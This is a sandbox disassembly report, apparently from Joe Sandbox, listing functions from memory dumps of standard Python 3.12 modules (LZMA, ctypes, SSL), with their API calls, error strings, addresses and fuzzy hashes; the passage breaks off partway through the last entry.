Invalid container format: %d, xrefs: 00007FFE10254B61
Unable to allocate lock, xrefs: 00007FFE10254B2A
Must specify filters for FORMAT_RAW, xrefs: 00007FFE10254B04
Cannot specify memory limit with FORMAT_RAW, xrefs: 00007FFE102473ED

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Dealloc$Err_LongString$Bytes_FromLong_ModuleOccurredSizeStateThread_allocate_lockType_Unsigned
String ID: Cannot specify filters except with FORMAT_RAW$Cannot specify memory limit with FORMAT_RAW$Invalid container format: %d$Must specify filters for FORMAT_RAW$Unable to allocate lock
API String ID: 553332449-1518367256
Opcode ID: 83269ee791d243be0076bb43cd9e278918348ca24e3dda33455d90f1b8b1c2f8
Instruction ID: ad591dca85f3a1d6881666f9943e70c9962c0cdc5e8f4fd6588596057cfc6c84
Opcode Fuzzy Hash: 83269ee791d243be0076bb43cd9e278918348ca24e3dda33455d90f1b8b1c2f8
Instruction Fuzzy Hash: EC614E71A08E42C1EA648F27A8542B96EA0BB84BB4F4441B5DF1D867B6EFBCE444D305

Function 00007FFE10250CAC Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 112COMMON

Download Yara Rule

APIs

PyMapping_GetItemString.PYTHON312 ref: 00007FFE10250CD5
PyMem_Calloc.PYTHON312 ref: 00007FFE10250D2C
_PyArg_ParseTupleAndKeywords_SizeT.PYTHON312 ref: 00007FFE10250E12
PyErr_ExceptionMatches.PYTHON312 ref: 00007FFE10250E3C
PyErr_Clear.PYTHON312 ref: 00007FFE10250E46

Part of subcall function 00007FFE10251E7C: PyLong_AsUnsignedLongLong.PYTHON312(?,?,00000006,00007FFE10250CFC), ref: 00007FFE10251E89
Part of subcall function 00007FFE10251E7C: PyErr_Occurred.PYTHON312(?,?,00000006,00007FFE10250CFC), ref: 00007FFE10251E92

PyErr_SetString.PYTHON312 ref: 00007FFE10250E62
PyMem_Free.PYTHON312 ref: 00007FFE10250E6B
_Py_Dealloc.PYTHON312 ref: 00007FFE10255D46

Strings

Invalid filter specifier for LZMA filter, xrefs: 00007FFE10250E58
Invalid compression preset: %u, xrefs: 00007FFE10255D6B
|OOO&O&O&O&O&O&O&O&, xrefs: 00007FFE10250DBF
preset, xrefs: 00007FFE10250CC8

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Err_$LongMem_String$Arg_CallocClearDeallocExceptionFreeItemKeywords_Long_Mapping_MatchesOccurredParseSizeTupleUnsigned
String ID: Invalid compression preset: %u$Invalid filter specifier for LZMA filter$preset$|OOO&O&O&O&O&O&O&O&
API String ID: 1879153319-1461672608
Opcode ID: f4c4c6e41dfebc803be0e4ebb02aeaa3e2e4c228a037d78fce276d899d29ed1e
Instruction ID: 80aff0f23327136826cb5dd95763b8a113b69bf689851c3793c4bf32ca515175
Opcode Fuzzy Hash: f4c4c6e41dfebc803be0e4ebb02aeaa3e2e4c228a037d78fce276d899d29ed1e
Instruction Fuzzy Hash: B5511CB1608F8281EA208B12F8402E97BA4FBC8BA4F544175DB8D43776EFBCE455C704

Function 00007FFE13384254 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 103COMMON

Download Yara Rule

APIs

PySequence_Tuple.PYTHON312 ref: 00007FFE1338426C
PyTuple_New.PYTHON312 ref: 00007FFE13384293
_PyObject_LookupAttr.PYTHON312 ref: 00007FFE133842CD
PyErr_SetString.PYTHON312 ref: 00007FFE1338919B
PyErr_Format.PYTHON312 ref: 00007FFE133891B8
_Py_Dealloc.PYTHON312 ref: 00007FFE133891D3
PyErr_Format.PYTHON312 ref: 00007FFE133891ED
_Py_Dealloc.PYTHON312 ref: 00007FFE13389203
_Py_Dealloc.PYTHON312 ref: 00007FFE13389219
_Py_Dealloc.PYTHON312 ref: 00007FFE1338922D
PyErr_Occurred.PYTHON312 ref: 00007FFE13389233
_Py_Dealloc.PYTHON312 ref: 00007FFE13389246

Strings

_argtypes_ has too many arguments (%zi), maximum is %i, xrefs: 00007FFE133891E0
_argtypes_ must be a sequence of types, xrefs: 00007FFE13389191
item %zd in _argtypes_ has no from_param method, xrefs: 00007FFE133891AE

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$Err_$Format$AttrLookupObject_OccurredSequence_StringTupleTuple_
String ID: _argtypes_ has too many arguments (%zi), maximum is %i$_argtypes_ must be a sequence of types$item %zd in _argtypes_ has no from_param method
API String ID: 4102822968-1150265712
Opcode ID: ab3c88c2a1acd458f56888ad0db4c60d4e1176b60d57c608ba33dff02789527a
Instruction ID: b3ea9b9673352a88bbd8e4fa4693b6e6fbc8221eb7b37919a99038d5417b6d93
Opcode Fuzzy Hash: ab3c88c2a1acd458f56888ad0db4c60d4e1176b60d57c608ba33dff02789527a
Instruction Fuzzy Hash: B5410C31E0DE06C9EB159B27D84827C33A2EB64BB4F0402B5C96E76A74DF3CE4858349

Function 00007FFE11EC7584 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 74COMMON

Download Yara Rule

APIs

SSL_CTX_get_cert_store.LIBSSL-3 ref: 00007FFE11EC75AF

Part of subcall function 00007FFE11EC467C: X509_STORE_lock.LIBCRYPTO-3 ref: 00007FFE11EC4689

PyErr_SetString.PYTHON312 ref: 00007FFE11EC75D6
OPENSSL_sk_num.LIBCRYPTO-3 ref: 00007FFE11EC75E8
OPENSSL_sk_value.LIBCRYPTO-3 ref: 00007FFE11EC75F7
X509_OBJECT_get_type.LIBCRYPTO-3 ref: 00007FFE11EC7603
OPENSSL_sk_num.LIBCRYPTO-3 ref: 00007FFE11EC7637
OPENSSL_sk_pop_free.LIBCRYPTO-3 ref: 00007FFE11EC764B
_Py_BuildValue_SizeT.PYTHON312 ref: 00007FFE11EC767D

Strings

crl, xrefs: 00007FFE11EC7661
failed to query cert store, xrefs: 00007FFE11EC75CC
x509, xrefs: 00007FFE11EC766F
x509_ca, xrefs: 00007FFE11EC7651
{sisisi}, xrefs: 00007FFE11EC7676

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: L_sk_numX509_$BuildE_lockErr_L_sk_pop_freeL_sk_valueSizeStringT_get_typeValue_X_get_cert_store
String ID: crl$failed to query cert store$x509$x509_ca${sisisi}
API String ID: 4244212332-466295505
Opcode ID: edd967bd5dff52c97df4ed370572a702fbe7b57f2266ed38d5b66ac430084ec3
Instruction ID: 0f29caf2d3fe8697221ae6cd618351f6fcf30a3574b8f26d451479e3faebabfd
Opcode Fuzzy Hash: edd967bd5dff52c97df4ed370572a702fbe7b57f2266ed38d5b66ac430084ec3
Instruction Fuzzy Hash: 2B310D21E48F4281EB109BA7AC5427FB3A8FB84BA0B8050B5DD4E47774EE3EF4458780

Function 00007FFE1338E07C Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PyUnicode_FromFormatV.PYTHON312(?,?,00000001,00000000,?,00007FFE13387E5F), ref: 00007FFE1338E0A2
PyErr_GetRaisedException.PYTHON312(?,?,00000001,00000000,?,00007FFE13387E5F), ref: 00007FFE1338E0B5
PyType_GetName.PYTHON312(?,?,00000001,00000000,?,00007FFE13387E5F), ref: 00007FFE1338E0C2
PyUnicode_AppendAndDel.PYTHON312(?,?,00000001,00000000,?,00007FFE13387E5F), ref: 00007FFE1338E0D4
PyUnicode_FromString.PYTHON312(?,?,00000001,00000000,?,00007FFE13387E5F), ref: 00007FFE1338E0E1
PyUnicode_AppendAndDel.PYTHON312(?,?,00000001,00000000,?,00007FFE13387E5F), ref: 00007FFE1338E0EE
PyErr_Clear.PYTHON312(?,?,00000001,00000000,?,00007FFE13387E5F), ref: 00007FFE1338E0FF
PyObject_Str.PYTHON312(?,?,00000001,00000000,?,00007FFE13387E5F), ref: 00007FFE1338E108
PyErr_Clear.PYTHON312(?,?,00000001,00000000,?,00007FFE13387E5F), ref: 00007FFE1338E113
PyUnicode_FromString.PYTHON312(?,?,00000001,00000000,?,00007FFE13387E5F), ref: 00007FFE1338E120
PyUnicode_AppendAndDel.PYTHON312(?,?,00000001,00000000,?,00007FFE13387E5F), ref: 00007FFE1338E12D
PyErr_SetObject.PYTHON312(?,?,00000001,00000000,?,00007FFE13387E5F), ref: 00007FFE1338E142
_Py_Dealloc.PYTHON312(?,?,00000001,00000000,?,00007FFE13387E5F), ref: 00007FFE1338E15A
_Py_Dealloc.PYTHON312(?,?,00000001,00000000,?,00007FFE13387E5F), ref: 00007FFE1338E174

Strings

???, xrefs: 00007FFE1338E119

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Unicode_$Err_$AppendFrom$ClearDeallocString$ExceptionFormatNameObjectObject_RaisedType_
String ID: ???
API String ID: 4178471810-1053719742
Opcode ID: aa4b8d82241b373073e6525c9e1b34c9962b206eff13adba983b59ec7ba47c43
Instruction ID: ebb24fb58238eb69d4776dd570832caf249a8f179475c65dc1a381247a0c8ff9
Opcode Fuzzy Hash: aa4b8d82241b373073e6525c9e1b34c9962b206eff13adba983b59ec7ba47c43
Instruction Fuzzy Hash: A1310B35E09E02C9FB059B22EC5417D6372BF64BA9B0445B9C92F62BB4DE3CE4848358

Function 00007FFE1338DE6C Relevance: 24.6, APIs: 5, Strings: 9, Instructions: 106COMMON

Download Yara Rule

APIs

PyUnicode_FromFormat.PYTHON312 ref: 00007FFE1338DEDC
PyUnicode_FromFormat.PYTHON312 ref: 00007FFE1338DF7D
PyFloat_FromDouble.PYTHON312 ref: 00007FFE1338DFBD
PyUnicode_FromFormat.PYTHON312 ref: 00007FFE1338DFD9
_Py_Dealloc.PYTHON312 ref: 00007FFE1338DFF0

Strings

<cparam '%c' (%ld)>, xrefs: 00007FFE1338DF89
<cparam '%c' (%R)>, xrefs: 00007FFE1338DFCF
<cparam '%c' (%p)>, xrefs: 00007FFE1338DF66
<cparam '%c' (%lld)>, xrefs: 00007FFE1338DF6F
<cparam '%c' at %p>, xrefs: 00007FFE1338DF54
<cparam '%c' (%d)>, xrefs: 00007FFE1338DED2
<cparam '%c' ('%c')>, xrefs: 00007FFE1338DEFC
<cparam 0x%02x at %p>, xrefs: 00007FFE1338DF5D
<cparam '%c' ('\x%02x')>, xrefs: 00007FFE1338DF0A

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: From$FormatUnicode_$DeallocDoubleFloat_
String ID: <cparam '%c' (%R)>$<cparam '%c' (%d)>$<cparam '%c' (%ld)>$<cparam '%c' (%lld)>$<cparam '%c' (%p)>$<cparam '%c' ('%c')>$<cparam '%c' ('\x%02x')>$<cparam '%c' at %p>$<cparam 0x%02x at %p>
API String ID: 1798191970-1075073485
Opcode ID: 42a3876a919e17e0aacb78d7f39394725e0265c68f4b923b406d9c89b1eee44e
Instruction ID: 965d74d56f3ca5a46ec12939b00dfff846eb3a9e05268f33ca702ea6f62b9419
Opcode Fuzzy Hash: 42a3876a919e17e0aacb78d7f39394725e0265c68f4b923b406d9c89b1eee44e
Instruction Fuzzy Hash: 3D418022D0CD438EE6698B2BA46C03C6661AF75764F1503F4C56F35EB4DE2CE984D348

Function 00007FFE1338CC7C Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 82COMMON

Download Yara Rule

APIs

_PyArg_NoKeywords.PYTHON312 ref: 00007FFE1338CC9E
_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE1338CCCA
PySequence_GetSlice.PYTHON312 ref: 00007FFE1338CCE4
PyObject_SetAttrString.PYTHON312 ref: 00007FFE1338CD03
_Py_Dealloc.PYTHON312 ref: 00007FFE1338CD19
PyObject_SetAttrString.PYTHON312 ref: 00007FFE1338CD32
PyObject_SetAttrString.PYTHON312 ref: 00007FFE1338CD4B
PyObject_SetAttrString.PYTHON312 ref: 00007FFE1338CD64
_Py_Dealloc.PYTHON312 ref: 00007FFE1338CD8A

Strings

details, xrefs: 00007FFE1338CD5A
args, xrefs: 00007FFE1338CCF9
text, xrefs: 00007FFE1338CD41
OOO:COMError, xrefs: 00007FFE1338CCC3
hresult, xrefs: 00007FFE1338CD28

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: AttrObject_String$Arg_Dealloc$KeywordsParseSequence_SizeSliceTuple_
String ID: OOO:COMError$args$details$hresult$text
API String ID: 4238450639-2065934886
Opcode ID: 00db3bf41b64285bc49080b33d41fa374395b24fe33c0c5ba9fffa288ac212b1
Instruction ID: 8cd0e13552af555cc490c6f042e807df22481775df784a56cae788a0ee433be2
Opcode Fuzzy Hash: 00db3bf41b64285bc49080b33d41fa374395b24fe33c0c5ba9fffa288ac212b1
Instruction Fuzzy Hash: 60315075A08F4389EF009F27E840169A7A5EF65BA4F0441B5CA6E66A71DE2CE489C308

Function 00007FFE1338A49C Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 79COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE1338A4D9
_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE1338A4FD
PyErr_SetString.PYTHON312 ref: 00007FFE1338A525
PyBuffer_Release.PYTHON312 ref: 00007FFE1338A530
PyErr_Format.PYTHON312 ref: 00007FFE1338A564
PySys_Audit.PYTHON312 ref: 00007FFE1338A587
memcpy.VCRUNTIME140 ref: 00007FFE1338A5BB
PyBuffer_Release.PYTHON312 ref: 00007FFE1338A5C8

Strings

ctypes.cdata/buffer, xrefs: 00007FFE1338A580
abstract class, xrefs: 00007FFE1338A4CF
nnn, xrefs: 00007FFE1338A579
y*|n:from_buffer_copy, xrefs: 00007FFE1338A4F6
offset cannot be negative, xrefs: 00007FFE1338A51B
Buffer size too small (%zd instead of at least %zd bytes), xrefs: 00007FFE1338A55A

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$Buffer_ReleaseString$Arg_AuditFormatParseSizeSys_Tuple_memcpy
String ID: Buffer size too small (%zd instead of at least %zd bytes)$abstract class$ctypes.cdata/buffer$nnn$offset cannot be negative$y*|n:from_buffer_copy
API String ID: 2374319793-1742308441
Opcode ID: 0be95d5b9851989c4ff8bdb4cc1151653e991ad0d40ed49ce8f3798064f9cc4b
Instruction ID: a324b2594c2b32f9a7e6a57069d55343a29bda3fe84dae6979d50ec568f12385
Opcode Fuzzy Hash: 0be95d5b9851989c4ff8bdb4cc1151653e991ad0d40ed49ce8f3798064f9cc4b
Instruction Fuzzy Hash: 67315061B19F46C9EA14DB17E4502A96361FF98BE0F4041B6DA6EA3B34DF3CE485C704

Function 00007FFE1338D078 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

PyUnicode_InternFromString.PYTHON312 ref: 00007FFE1338D098
PyImport_ImportModule.PYTHON312 ref: 00007FFE1338D0AC
PyErr_Clear.PYTHON312 ref: 00007FFE1338D0BA
PyObject_GetAttrString.PYTHON312 ref: 00007FFE1338D0D4
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D0EB
PyErr_WriteUnraisable.PYTHON312 ref: 00007FFE1338D10B
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D12C
PyLong_AsLong.PYTHON312 ref: 00007FFE1338D13A
PyErr_Occurred.PYTHON312 ref: 00007FFE1338D142
PyErr_WriteUnraisable.PYTHON312 ref: 00007FFE1338D162
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D17B

Strings

DllCanUnloadNow, xrefs: 00007FFE1338D0CA
_ctypes.DllCanUnloadNow, xrefs: 00007FFE1338D091
ctypes, xrefs: 00007FFE1338D0A5

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$Dealloc$StringUnraisableWrite$AttrClearFromImportImport_InternLongLong_ModuleObject_OccurredUnicode_
String ID: DllCanUnloadNow$_ctypes.DllCanUnloadNow$ctypes
API String ID: 3419117993-4136862661
Opcode ID: 5874e7ad5705b5a7294af7d64d4dd229689639d21d736359465e369da5aa7629
Instruction ID: 7b87cc0c9777e747b9961f6958f219e6748f92f140e8fad81134ccd785284da8
Opcode Fuzzy Hash: 5874e7ad5705b5a7294af7d64d4dd229689639d21d736359465e369da5aa7629
Instruction Fuzzy Hash: 4A31FA21E0DE02DAFB549B17A95823823A1AF64BB1F4441F8D96F77B74DF3CA4858309

Function 00007FFE102481F0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 116COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFE10248245
PyObject_GetBuffer.PYTHON312 ref: 00007FFE10248279
PyBuffer_IsContiguous.PYTHON312 ref: 00007FFE1024828A
PyBuffer_Release.PYTHON312 ref: 00007FFE102482BD
_PyNumber_Index.PYTHON312 ref: 00007FFE102482EF
PyLong_AsSsize_t.PYTHON312 ref: 00007FFE10248300
_PyArg_UnpackKeywords.PYTHON312 ref: 00007FFE1024835B
PyErr_Occurred.PYTHON312 ref: 00007FFE1024837B
_PyArg_BadArgument.PYTHON312 ref: 00007FFE10254D3E

Strings

contiguous buffer, xrefs: 00007FFE10254D29
argument 'data', xrefs: 00007FFE10254D30
decompress, xrefs: 00007FFE10254D37

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Arg_Buffer_$ArgumentBufferContiguousErr_IndexKeywordsLong_Number_Object_OccurredReleaseSsize_tUnpackmemset
String ID: argument 'data'$contiguous buffer$decompress
API String ID: 883004049-2667845042
Opcode ID: bd01afbcdf428c3c6fd1533d6da37d25cba52a063e969e166f86159c4183e5fb
Instruction ID: 494eba6a2de9e15687fc66f3c06e2dd3b7188dd0dd179e3b04a4ee1b0b45fd56
Opcode Fuzzy Hash: bd01afbcdf428c3c6fd1533d6da37d25cba52a063e969e166f86159c4183e5fb
Instruction Fuzzy Hash: 30415C71A19F8282EA11CF13A4402BD6BA0BB85BB0F4441B1DF5D97BA6EFBCE445C700

Function 00007FFE11EA3548 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFE11EA359F
_PyArg_UnpackKeywords.PYTHON312 ref: 00007FFE11EA35E8
PyObject_GetBuffer.PYTHON312 ref: 00007FFE11EA3605
PyBuffer_IsContiguous.PYTHON312 ref: 00007FFE11EA3616
_PyNumber_Index.PYTHON312 ref: 00007FFE11EA3630
PyLong_AsSsize_t.PYTHON312 ref: 00007FFE11EA3645
PyBuffer_Release.PYTHON312 ref: 00007FFE11EA3688

Strings

decompress, xrefs: 00007FFE11EAB85B
contiguous buffer, xrefs: 00007FFE11EAB84D
argument 'data', xrefs: 00007FFE11EAB854

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: Buffer_$Arg_BufferContiguousIndexKeywordsLong_Number_Object_ReleaseSsize_tUnpackmemset
String ID: argument 'data'$contiguous buffer$decompress
API String ID: 2593461735-2667845042
Opcode ID: 765b22e1d0c43746eefacce39cc61ecbcbbe27cbcf58c331b942709e186efdb8
Instruction ID: 927d3f7a6660082eb60c4ff574d007508629383c43acd69b591642081c6ae880
Opcode Fuzzy Hash: 765b22e1d0c43746eefacce39cc61ecbcbbe27cbcf58c331b942709e186efdb8
Instruction Fuzzy Hash: A7415A31A08F5286EB108F93B8446AA63A8FB88BA4F4445B1DD5D037A4EF7CE545C700

Function 00007FFE11ECA164 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON312(?,?,?,00007FFE11ECA151), ref: 00007FFE11ECA183
BIO_s_file.LIBCRYPTO-3(?,?,?,00007FFE11ECA151), ref: 00007FFE11ECA18C
BIO_new.LIBCRYPTO-3(?,?,?,00007FFE11ECA151), ref: 00007FFE11ECA195
PyErr_SetString.PYTHON312(?,?,?,00007FFE11ECA151), ref: 00007FFE11ECA1AE
PyBytes_AsString.PYTHON312(?,?,?,00007FFE11ECA151), ref: 00007FFE11ECA1B9
BIO_ctrl.LIBCRYPTO-3(?,?,?,00007FFE11ECA151), ref: 00007FFE11ECA1CE
PEM_read_bio_X509.LIBCRYPTO-3(?,?,?,00007FFE11ECA151), ref: 00007FFE11ECA1EC
X509_free.LIBCRYPTO-3(?,?,?,00007FFE11ECA151), ref: 00007FFE11ECA214
_Py_Dealloc.PYTHON312(?,?,?,00007FFE11ECA151), ref: 00007FFE11ECA228
BIO_free.LIBCRYPTO-3(?,?,?,00007FFE11ECA151), ref: 00007FFE11ECA236

Strings

Can't open file, xrefs: 00007FFE11ECA1D8
Can't malloc memory to read file, xrefs: 00007FFE11ECA1A3
Error decoding PEM-encoded file, xrefs: 00007FFE11ECA1FA

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: String$Bytes_DeallocErr_M_read_bio_Module_O_ctrlO_freeO_newO_s_fileStateX509X509_free
String ID: Can't malloc memory to read file$Can't open file$Error decoding PEM-encoded file
API String ID: 2561677103-2145957498
Opcode ID: 6a5f2705f88bddb11ab39b9728de2f4bb82e27ad7ea4ec875802c8952d629f76
